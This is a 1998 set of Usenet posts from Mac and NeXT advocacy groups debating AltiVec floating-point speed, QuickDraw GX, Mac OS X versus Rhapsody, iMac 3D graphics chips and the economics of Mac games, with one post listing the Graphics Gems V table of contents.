Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 13:51:45 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mb61h$r26$2@ns3.vrx.net>
References: <6mamlb$fme$1@ns3.vrx.net> <B1AE9BE4-2C05D@206.165.43.66>
Mime-Version: 1.0
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Cc: english@primenet.com
In <B1AE9BE4-2C05D@206.165.43.66> "Lawson English" claimed:
> AltiVec can do up to 4 simultaneous operations on floats.
If you ask it too, and even still it's no guarentee that will make it
faster than the same op on the FP side. I'd rather simply have all of my
float ops speed up instead.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 18 Jun 1998 13:54:55 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mb67f$r26$3@ns3.vrx.net>
References: <6manp2$fme$4@ns3.vrx.net> <B1AE980F-1D9CD@206.165.43.66>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1AE980F-1D9CD@206.165.43.66> "Lawson English" claimed:
> > No, there's one that's faster than either. GG5 IIRC, right near the
> front.
>
> Unfortunately, I don't have GG5.
Actually it's volume 1, page 101.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 18 Jun 1998 13:55:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mb693$r26$4@ns3.vrx.net>
References: <6mansu$fme$5@ns3.vrx.net> <B1AE98FE-211E0@206.165.43.66>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1AE98FE-211E0@206.165.43.66> "Lawson English" claimed:
> While it's true that they weren't replacing QD immediately, the announced
> path was for GX to replace QD as the prefered graphics engine within
> Copland.
After much time, that was not the original plan, and happened only after
developer complaints. This is another example of Copeland's problem with
shifting goalposts.
Maury
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 18:55:36 GMT
Organization: MiscKit Development
Message-ID: <6mbnr8$1uu$3@news.xmission.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com>
sal@panix3.panix.com (Salvatore Denaro) wrote:
> On 18 Jun 1998 06:49:05 GMT, Don Yacktman <don@misckit.com> wrote:
> >> That answer was clear, concise, direct and totally useless.
> >Ummm, actually it is very useful. I've heard tell from people
> >who would know that:
> >
> >Mac OS X == Rhapsody 2.0
>
> But that isn't what he said.
No kidding. I said I heard the above "from people who would know", not Mike,
and in private. Mike just implied it and added corroboration to what I've
already been told by others. Please, feel free to ignore me. You know how
wrong I was about the death of RhapTel.
> No one at Apple is willing to come
> out and just state "MacOSX is Rhapsody with the following changes..."
>
> Just saying this would kill 75% to 90% of the MacOSX FUD.
I've heard it said privately. If it were said publically, Jobs would
probably ask for these people's heads on a platter, which is why I won't say
anything more than what I have said on the matter; case closed.
> Mike is dancing around the words. That's what makes this quote
> useless for killing FUD. And the only way to kill the FUD is
> for Apple to just state[...].
All I can say is that for some inexplicable reason, SJ seems like like the
FUD to the point of encouraging it. I think it is dumb and a recipe for
disaster, but that's just my opinion. I have no idea why Jobs is behaving
this way, but his current policies and behavior are FUD incubators, so if
that isn't what he wants, he needs to change some things and soon.
> >Mike's response doesn't prove that. Doesn't disprove it,
> >either, though...
>
> Maybe he can explain the striking visual similarities between
> the iMac and the Vorlon encounter suit helmet. I think it goes
> way beyond mere chance...
Well...I have no answer to that! Note that when he introduced the iMac he
said it was as if it was designed by people from another planet, or something
to that effect. :-)
I will also add that you should never attribute to conspiracy or malice that
which can be atributed to stupidity. From out here, at least, it sure seems
like there's a lot of the latter running the show in Cupertino. Seems to
pervade MS's engineering department, too. But note that shrewd business
moves beat out the good technical innovations every time...Apple needs to get
some smarts injected into the people running the business.
Back when Apple bought NeXT, many people asked me if I thought this could
"save Apple" in the long term. My response was that based on the technology,
yes it could. But I also said that both companies had a long history of poor
management decisions ranging from strategy to developer relations to sales
practices. I said then, and still say today, that if they don't get their
act together on the business side then they are ultimately doomed. I don't
see enough signs that the long term is taken care of. Things are looking
good in the short term (and I like that) but it increasingly looks like most
decisions are being made at the expense of the long term. That bothers me
immensely since I don't want to see Apple die. Of course, the top brass have
information that I don't have, so it is quite possible that things just look
bad from down here, and not from the helm. But I'm not sold yet and Apple
management isn't doing a good job of selling their long term "vision", at
least to me. I suspect that you are experiencing at least some of that same
effect...
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.portables,comp.sys.mac.hardware.misc,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 18 Jun 1998 19:22:36 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net>
Steve Sullivan <macghod@concentric.net> wrote in article
<macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net>...
>
> > > On numerous occasions over the past year, I have said that I am like
a
> > > umpire, I merely call them as I see them. THe "right" side is not
the
> > > "mac side" or the "pc side". THe right side is THE TRUTH. And that
is
> > > what I strive for. And people who take sides and IGNORE THE TRUTH
because
> > > it is bad for "their side" irritate me.
> > >
> > > I think you and Chad Irby should reflect on this
> >
> > That's really funny Steve. "I like cheap PCs" + "I just bought a G3"
> > = "The Truth." Thanks for the laugh.
>
>
> Really? Where did I say I like cheap pc's? I gave the price of current
> pc's, and said they were quite tempting given how AWESOME openstep is.
You did far more than that. You bashed the Mac and the Mac OS, while
telling us what a "great bargain" PCs are.
> You started crying since I said Openstep is a much more stable os than
the
> macos.
I did no such thing. I just told you not to advertise PCs on a Mac news
group. I said you shouldn't discuss alternative PC operating systems on a
Mac NG, but that discussing OpenStep and NeXT would be fine *IF* you were
running them on a Mac. A Mac NG is for the Mac OS, or the Mac hardware,
or both, but not for neither.
> How long have you used Openstep?
I've never used it, but I have no objection to it on a Macintosh.
>
> I still dont see what "the laugh" is about? A p2 300 running openstep is
> a DAMN FINE machine. I was able to get a g3 for about $1200, so I jumped
> on it. Again, I see no inconsistencies....
Well, let's open your eyes. You constantly boasted what a great deal
sub-$1K PCs are, and now you bought a Mac for more, after fighting Joe
Ragosta tooth and nail when he told you that a G3 could be had for the
price you paid.
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Games and the consumer market.
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66>
Message-ID: <35896c04.0@news.depaul.edu>
Date: 18 Jun 98 19:35:32 GMT
In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
> Apple should use the "personality card" concept to provide upgradeable 3D
> acceleration cards. These would be dealer-upgardeable. This would allow
> iMac users to start out with a base system and upgrade it as needed.
Actually, they should put it in a Nintendo-style cartridge, externally
accessible. They'd need some way to lock it in place when the machine
is on, or else make sure that it can be removed without destroying
the machine.
Consumers understand cartridges. Mostly.
Just toss one or two cartridge slots behind a door on the back of
the machine.
--
"... and subpoenas for all." - Ken Starr
Date: Thu, 18 Jun 1998 15:33:29 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806981533290001@wil56.dol.net>
References: <6mamlb$fme$1@ns3.vrx.net> <B1AE9BE4-2C05D@206.165.43.66> <6mb61h$r26$2@ns3.vrx.net>
In article <6mb61h$r26$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
> In <B1AE9BE4-2C05D@206.165.43.66> "Lawson English" claimed:
> > AltiVec can do up to 4 simultaneous operations on floats.
>
> If you ask it too, and even still it's no guarentee that will make it
> faster than the same op on the FP side. I'd rather simply have all of my
> float ops speed up instead.
It's all going to come down to developer acceptance.
If the developers code for AltiVec, it will speed up your applications
more than increasing the FPU. They're talking about _at least_ 4 times the
performance on floating point.
I would guess that the apps which require high processing power will use
it pretty quickly. MrC for AltiVec is already available.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 18 Jun 1998 15:38:47 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-1806981538470001@wil56.dol.net>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66> <35896c04.0@news.depaul.edu>
In article <35896c04.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
> In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>
> > Apple should use the "personality card" concept to provide upgradeable 3D
> > acceleration cards. These would be dealer-upgardeable. This would allow
> > iMac users to start out with a base system and upgrade it as needed.
>
> Actually, they should put it in a Nintendo-style cartridge, externally
> accessible. They'd need some way to lock it in place when the machine
> is on, or else make sure that it can be removed without destroying
> the machine.
>
> Consumers understand cartridges. Mostly.
>
> Just toss one or two cartridge slots behind a door on the back of
> the machine.
That's what I was thinking.
Of course, it would be easier with whichever game platform is using CDs (I
can't keep them straight) if you could find a CD-ROM drive that would read
the disk.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Eric Hermanson <eric@alum.mit.edu>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Upgrade ASAP (was: Re: Skip NT 5.0)
Date: Thu, 18 Jun 1998 12:57:45 -0700
Organization: Digital Universe Corporation
Message-ID: <35897138.7D4B9D67@alum.mit.edu>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com> <6lrc8p$ff1@newsb.netnews.att.com> <casper-1806980728410001@wheat-a-06.monroeville.nb.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 18 Jun 1998 19:58:23 GMT
Tim Scoff wrote:
> Skip NT 5.0??? Are you crazy? MS's web site states that their solution
> to make your NT servers 100% Year 2000 compliant. is to upgrade to NT 5
> when it is released late in 1999.
I should turn around ask, are YOU crazy?
Any corporation, or individual for that matter, who upgrades to NT5 in LATE 1999 in order to ready themselves for Y2K on Jan 1, 2000 is absolutely nuts! One should invest at least 1 year of testing on any semi-complicated system before
deploying a Y2K-safe solution. Microsoft is nuts if they think releasing NT5 in late 1999 is a "good" way to handle the Y2K problem.
Eric
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 18 Jun 1998 15:56:58 GMT
Organization: University of Maryland, College Park
Message-ID: <6mbdca$trv$1@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se>
John Hornkvist (sorry@no.more.spams) wrote:
: In <6m8jd3$dbl$19@ns3.vrx.net> Maury Markowitz wrote:
: > In <6m8vbu$6u9$1@news.spacelab.net> "Charles W. Swiger" claimed:
: > > This is even more the case for the PPC in the iMac compared to Wintel
: PC's,
: > > since the PPC is proportionally better than the Intel Pentium at floating
: > > point....
: >
: > Is this still true? I was under the impression this was a combination of
: > lower accuracy for the most part in the past, but that the P-II was even
: > better than the PPC?
: The PPC 750 is not as good as the 604 at floating point, IIRC, but it should
: beat the Pentium II quite comfortably. Having a normal register file for
: floating point instead of the stack of the Intel family helps a lot. Even the
: PII can only retire one FPU instruction per cycle, and not all units are
: fully pipelined.
The 300 MHz PPC750 has an estimated SPECfp95 score of 8.5
The 300 MHz Pentium II has a SPECfp95 score of 8.8
The 400 MHz Pentium II has a SPECfp95 score of 12.4
: Up to the Pentium the floating point performance of the x86 chips was
: horrendous. Now it's just bad...
: AMD recently released a K6 chip with something like four times the floating
: point performance of the Pentium II, but to achieve that you need to write
: special code for it -- it is an extension to the architecture, and not a
: replacement for the normal FPU.
: Regards,
: John Hornkvist
: Address:cd.chalmers.se
: Name:nhoj
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 16:30:09 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6oig4h.k93.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net>
On Thu, 18 Jun 1998 10:23:33 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Salvatore Denaro wrote:
>> I think it is worth it for Apple to ship an older chip, assuming that
>> the drivers are rock solid. Are there Apple drivers for the Matrox or
>> Riva chipsets?
>I agree that there's value to reliable drivers. Even so, whether or not
>there are Matrox/nVIDIA drivers for the Macintosh is immaterial. They
>can be written, and there's plenty of time to do so.
Maybe for the iMac2, or the second round of iMacs.
>> For the newer chipsets? Should Apple take this big a
>> risk in the first real consumer product in years?
>Dunno. Innovation and risk often go hand in hand.
There are acceptable risks, and unacceptable ones. I think Apple is
sticking with the ATI chip because they know it and have solid drivers
for it.
>Right, which is why a game PC pretty much has to be expandable. Now, an
>interesting counter-example is the console market, which is *not*
>expandable. If Apple really intends to make the iMac capable of playing
>console games, I will drop my arguments.
I think the iMac is ment to be more like "console" than a PC. I don't
think that Apple is planning to sell it as a PC. Heck, they might offer
is in different colors like the Gameboy.
>> Are those new cards going to ship in the sub 1k to sub 1.2k machines
>> that the iMac will be priced against? From what I've seen, most of the
>From what I'm seeing, a lot of the sub 1k machines are shipping with
>pure sh** 3D cards: late-model ViRGE, Cirrus Logic AGP cards, and even
>Trident 3D cards. So, you're right on this. However, these machines can
>have their cards swapped out. Will that be the case on the iMac?
This isn't the case with the Sony Playstation. There is an expansion port
on the iMac. I posted a URL that points to a set of MB images. What the
DAV port is for is anyone's guess. Maybe a 3dFX card that won't require
the "monitor plug?" Maybe an anti-gravity device? Who knows? This is pure
speculation.
Also, it wouldn't surprise me if you could "board-swap" up to a new iMac
motherboard at a latter date. The MB is on a slide out tray. Apple offered
this kind of upgrade for other AIO machines. I went from and SE to an SE30
this way. Another consumer AIO, the "classic" could be upgraded to
"classicII" the same way. I think it was also possible to go from an 020
based LC to an 030 based LCII. There has to be some reason why the MB is
on a tray. Maybe Jobs wants to sell $400 to $600 upgrades every six months
to a year.
>There are never drivers unless you write them. The price would be
>comparable.
Unless you take into account the cost of writing new drivers and the QA
involved.
Apple should have a "stable" of chips to pick from. Having all it machines
built around the ATI chips will not be good in the long run.
>> >support for higher resolutions, higher refresh rates, larger amounts of
>> >video RAM,
>> Not issues on the iMac.
>Why not?
The res and scan rates are fixed to the monitor on the iMac. Replacing
the iMac monitor is not a realistic option.
>> Would anyone be willing to commit to selling to Apple when Apple is
>> not known to sell to the game market? Would 3dFX be willing to write
>> drivers?
>3Dfx worked with Conix. Why is nobody willing to work with Apple? Is
>that a stupid question?
If you were selling 99.99% of your chips in the PC market, would you
a) Assign your engineers to improve your drivers by 10%, keeping you
lead in the PC market
b) Take a shot that the iMac will sell, and assign your enginners to
write for a platform they might not know much (or anything) about
If I was the CEO of a graphic chip maker, Jobs would have to crank up
the RDF to 11 to get me to pick b.
>> Would Matrox be willing to forgo sales to PC vendors? And could
>> any of them ship enough chips to Apple to deal with Apple's percieved
>> need and the iMac's high advance orders?
>"High" is relative. The iMac's advance orders are nothing like the kinds
>of orders Matrox gets from OEMs and integrators, you can be sure of
>that.
If you had a hot new graphics chip, would you sell to Apple knowing that
those sales could be in the PC gaming market where mindshare is needed to
get games working best on your card? I know I wouldn't.
--
sal@panix.com
Salvatore Denaro
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 18 Jun 1998 10:11:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AE980F-1D9CD@206.165.43.66>
References: <6manp2$fme$4@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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>In <B1ADBB09-7DB12@206.165.43.97> "Lawson English" claimed:
>> I've never heard anyone claim that the generic case of Bresenham's is as
>> fast as the special case before. Which Graphics Gems article claims
this?
>
> No, there's one that's faster than either. GG5 IIRC, right near the
front.
Unfortunately, I don't have GG5.
Here's the TOC, however. Which article do you mean:
+++++
sion
Alan W. Paeth
AP Professional
ISBN 0-12-543457-X
Engelsk
Kr. 465;-
An essential, time-saving tool for many programmers, this book contains
about 50 new gems displaying the most recent and innovative techniques in
graphics programming, such as ellipses, splines, Bezier, curves and ray
tracing. Disk includes source code from all five volumes of this series.
Table of Contents
Foreword
By Andrew S. Glassner
Preface
Author Index
I. Algebra and Arithmetic
I.1. Solving Quartics and Cubics for Graphics
By Don Herbison-Evans
I.2. Computing the Inverse Square Root
By Ken Turkowski
I.3. Fixed-Point Square Root
By Ken Turkowski
I.4. Rational Approximation
By Ken Shoemake
II. Computational Geometry
II.1. Efficient Computation of Polygon Area and Polyhedron Volume
By Allen Van Gelder
II.2. Point in Polyhedron Testing Using Spherical Polygons
By Paulo Cezar Pinto Carvalho, Paulo Roma Cavalcanti
II.3. Clipping a Concave Polygon
By Andrew S. Glassner
II.4. Rotations for N-Dimensional Graphics
By Andrew J. Hanson
II.5. Parallelohedra and Uniform Quantization
By Robert Buckley
II.6. Matrix-based Ellipse Geometry
By Kenneth J. Hill
II.7. Distance Approximations and Bounding Polyhedra
By Alan Wm. Paeth
III. Modeling and Transformation
III.1. The Best Least-Squares Line Fit
By David Alciatore, Rick Miranda
III.2. Surface Models and the Resolution of N-Dimensional Cell Ambiguity
By Steve Hill, Jonathan C. Roberts
III.3. Tricubic Interpolation
By Louis K. Arata
III.4. Transforming Coordinates from One Coordinate Plane to Another
By Robert D. Miller
III.5. A Walk through BSP Trees
By Norman Chin
III.6. Generic Implementation of Axial Deformation Techniques
By Carole Blanc
IV. Curves and Surfaces
IV.1. Identities for the Univariate and Bivariate Bernstein Basis Functions
By Ronald N. Goldman
IV.2. Identities for the B-Spline Basis Functions
By Ronald N. Goldman
IV.3. Circular Arc Subdivision
By Ken Turkowski
IV.4. Adaptive Sampling of Parametric Curves
By Luiz Henrique de Figueiredo
IV.5. Fast Generation of Ellipsoids
By Jaewoo Ahn
IV.6. Sparse Smooth Connection between Bezier/B-Spline Curves
By Chandrajit Bajaj, Guoliang Xu
IV.7. The Length of Bezier Curves
By Jens Gravesen
IV.8. Quick and Simple Bezier Curve Drawing
By Robert D. Miller
IV.9. Linear Form Curves
By Ken Shoemake
V. Ray Tracing and Radiosity
V.1. Computing the Intersection of a Line and a Cone
By Ching-Kuang Shene
V.2. Ray Intersection of Tessellated Surfaces: Quadrangles versus Triangles
By Christophe Schlick, Gilles Subrenat
V.3. Faster Ray Tracing Using Scanline Rejection
By Tomas Moller
V.4. Ray Tracing a Swept Sphere
By Andreas Leipelt
V.5. Acceleration of Ray Tracing via Voronoi Diagrams
By Gabor Marton
V.6. Direct Lighting Models for Ray Tracing with Cylindrical Lamps
By Kurt Zimmerman
V.7. Improving Intermediate Radiosity Images Using Directional Light
By Martin Feda
VI. Halftoning and Image Processing
VI.1. Improved Threshold Matrices for Ordered Dithering
By Werner Purgathofer, Robert F. Tobler, Manfred Geiler
VI.2. Halftoning with Selective Precipitation and Adaptive Clustering
By Tien-tsin Wong, Siu-chi Hsu
VI.3. Faster "Pixel-Perfect" Line Clipping
By Steven Eker
VI.4. Efficient and Robust 2D Shape Vectorization
By Jean-Francois Doue, Ruben Gonzalez Rubio
VI.5. Reversible Straight Line Edge Reconstruction
By S. C. Hsu, I. H. H. Lee
VI.6. Priority-based Adaptive Image Refinement
By Rajesh Sharma
VI.7. Sampling Patterns Optimized for Uniform Distribution of Edges
By Robert A. Cross
VII. Utilities
VII.1. Wave Generators for Computer Graphics
By Christophe Schlick
VII.2. Fast Polygon - Cube Intersection Testing
By Daniel Green, Don Hatch
VII.3. Velocity-based Collision Detection
By William Bouma, George Vanecek, Jr.
VII.4. Spatial Partitioning of a Polygon by a Plane
By George Vanecek, Jr.
VII.5. Fast Polygon Triangulation Based on Seidel's Algorithm
By Atul Narkhede, Dinesh Manocha
VII.6. Accurate Z-Buffer Rendering
By Raghu Karinthi
VII.7. A Survey of Extended Graphics Libraries
By Alan Wm. Paeth, Ferdi Scheepers, Stephen May
Index
Volume I-V Cumulative Index
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: trev@sc.edu (Trevor Zion Bauknight)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.apps,comp.sys.mac.hardware.misc,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: Help!!!!!!
Date: Thu, 18 Jun 1998 12:51:26 -0400
Organization: Metaphysical Bunko Squad
Message-ID: <trev-1806981251270001@nas-p2.usc.net>
References: <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>
In article <macghod-1806980216020001@sdn-ar-001casbarp297.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
I've found that removing Norton CrashGuard dramatically improves the
stability of my system...
Trev
--
trev@sc.eduEATMOSPAM (unmunge)
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 12:35:56 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mb1jc$hpd$11@ns3.vrx.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126>
<slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com>
<slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com>
<slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net>
<slrn6oghra.36q.sal@panix3.panix.com> <6map2e$hpd$1@ns3.vrx.net>
<slrn6oig8c.k93.sal@panix3.panix.com>
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Content-Transfer-Encoding: 7bit
Cc: sal@panix3.panix.com
In <slrn6oig8c.k93.sal@panix3.panix.com> Salvatore Denaro claimed:
> Would the Voodoo RAGE fit in an ATI RAGE PRO pinout?
Nope, sorry, my fault, that's Voodoo RUSH.
Maury
From: kychenABC@hpl.hp.com (Kay-Yut Chen - remove ABC in email to reply)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Thu, 18 Jun 1998 17:35:46 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <35894f10.3628848@news.supernews.com>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <njcosta-ya02408000R1506980112460001@news.earthlink.net> <6m30i7$b7k$5@ns3.vrx.net> <cirby-1506981527110001@pm53-28.magicnet.net> <6m444r$rcu2@onews.collins.rockwell.com> <joe.ragosta-1706980956050001@wil66.dol.net> <6m8sna$rcu4@onews.collins.rockwell.com> <joe.ragosta-1806980835270001@wil87.dol.net>
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>> A game must sell a _minimum_ of 60,000 copies to interest a world wide retail
>> distributor. To make that sales figure in the Mac market, the game would
>> have to have 10% market share or better. That is unrealistic.
>
>Wow.
>
>Here we have the President of a software company making up numbers. Where
>did you get a 600,000 number?
>
At least READ what he wrote. He said 60,000, not 600,000. That number
is quite believable. A friend works in the game industory told me that
an average commercial game takes about $1M to make.
For a game that sells for $40-$50, the developer typically get a cut
of $20.
To break even, you need 50k copies. (50k x $20 = $1M). His figures is
close. My friend told me about this about 1.5 years ago, so with
everyone upping the ante in production value, needing 60K copies to
break even is reasonable.
Kay-Yut
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 10:27:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AE9BE4-2C05D@206.165.43.66>
References: <6mamlb$fme$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
> Well if you go back five years, FP was "special code" so I suppose
that's
>not a bad thing. Personally for 3D I'd rather have more FP than AltiVec.
??
AltiVec can do up to 4 simultaneous operations on floats.
That's plenting of fp, depending on what you need, of course.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 10:30:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AE9C85-2E635@206.165.43.66>
References: <6map2e$hpd$1@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Maury Markowitz <maury@remove_this.istar.ca> said:
> Apple would be well off to include a Voodoo RAGE chip, but these are
>expensive parts. A RIVA is an excellent second, because it has
>3D-in-a-window which the normal Voodoo lacks.
Apple should use the "personality card" concept to provide upgradeable 3D
acceleration cards. These would be dealer-upgardeable. This would allow
iMac users to start out with a base system and upgrade it as needed.
They could even make it cheaper by not having ANY 3D acceleration for a
pure WebTV solution.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
Date: 18 Jun 1998 10:16:15 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mapdf$hpd$2@ns3.vrx.net>
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net>
<35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net>
<slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net>
<slrn6ofvik.qg6.sal@panix3.panix.com> <6m8ju9$dbl$22@ns3.vrx.net>
<slrn6og8m7.i78.sal@panix3.panix.com> <6m8ndv$so3$1@ns3.vrx.net>
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Cc: sal@panix3.panix.com
In <slrn6ogaq2.lj1.sal@panix3.panix.com> Salvatore Denaro claimed:
> Fair enough, will any of those changes remove the need for BSD?
No, but they will change it's nature. In theory at least the BSD system
becomes much more a "shim" layer and much less actual code - unlike the 2.5
system in which code in the BSD layer drives a lot of the actual
functionality.
> Will any of the changes prevent the use of a CLI?
I don't see why it should, but the possibility is there that the behaviour
will change slightly - although I doubt it to be honest. The speed of
execution could change, ie you may need to implement some things slightly
differently to get the performance you're used to, in other cases you may be
able to get a LOT better performance via a redesign.
> At the WWDC, Apple made it clear that MacOSX would at least have "the BSD
